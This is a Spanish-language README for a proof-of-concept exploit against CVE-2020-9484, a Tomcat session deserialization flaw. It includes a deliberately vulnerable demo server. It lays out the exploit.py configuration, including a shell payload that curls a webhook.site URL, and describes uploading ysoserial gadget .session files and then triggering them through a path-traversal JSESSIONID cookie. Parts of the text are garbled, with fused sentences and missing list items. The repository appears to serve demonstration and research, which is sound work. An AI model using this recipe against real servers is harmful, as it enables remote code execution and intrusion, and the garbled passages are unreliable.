
Exploit PoC para CVE-2020-9484, y una aplicación web vulnerable para su demostración
Este repositorio contiene un exploit de prueba de concepto para CVE-2020-9484, junto con un servidor web de ejemplo que es vulnerable a este exploit.
Las versiones de Tomcat afectadas son:
PersistentManager está habilitado y está usando un FileStore..session), y conoce la ubicación donde se sube.clojure o commons-collections) que pueden usarse para un ataque de deserialización de Java.El servicio de ejemplo es un servidor web con dos páginas, /index.jsp (o simplemente /) y /list.jsp. Permite al usuario subir y descargar archivos (específicos de la sesión actual), actuando efectivamente como almacenamiento de archivos.
/upload para la subida de archivos, y permite al usuario elegir el nombre del archivo. Esto hace posible subir archivos con la extensión .session. También se sabe que el servidor almacena los archivos en el directorio /var/tmp/uploads.PersistentManager habilitado usando un FileStore. (ver context.xml)clojure:1.8.0 en el classpath, lo que facilita el ataque de deserialización. (ver pom.xml)Para configurar el servicio vulnerable de ejemplo:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
El servicio debería estar ahora en funcionamiento en http://localhost:8085/POC_CVE-2020-9484/.
Ahora ajusta las variables de configuración al principio de exploit.py. El PAYLOAD, aquí un script de shell, puede ser cualquier archivo que el servidor pueda ejecutar.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Ahora ejecuta exploit.py. Realiza las siguientes acciones:
.session), que eventualmente se deserializarán en el servidor:
PAYLOAD subido al servidor.PAYLOAD en el servidor.PAYLOAD como archivo al servidor..session generados anteriormente al servidor.JSESSIONID siendo la ruta de los archivos .session previamente subidos relativa al almacenamiento de sesiones del servidor, lo que desencadena su deserialización en el servidor y la posterior ejecución del payload.Muchos servidores almacenan los archivos subidos por los usuarios en una ruta de la forma /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. En tal caso, usar un JSESSIONID de la forma ../../../../tmp (en lugar de un valor arbitrario como "1337"*8 usado en exploit.py anteriormente) con la petición POST de subida de archivos puede ser potencialmente útil para determinar dónde se almacena el archivo subido en el servidor.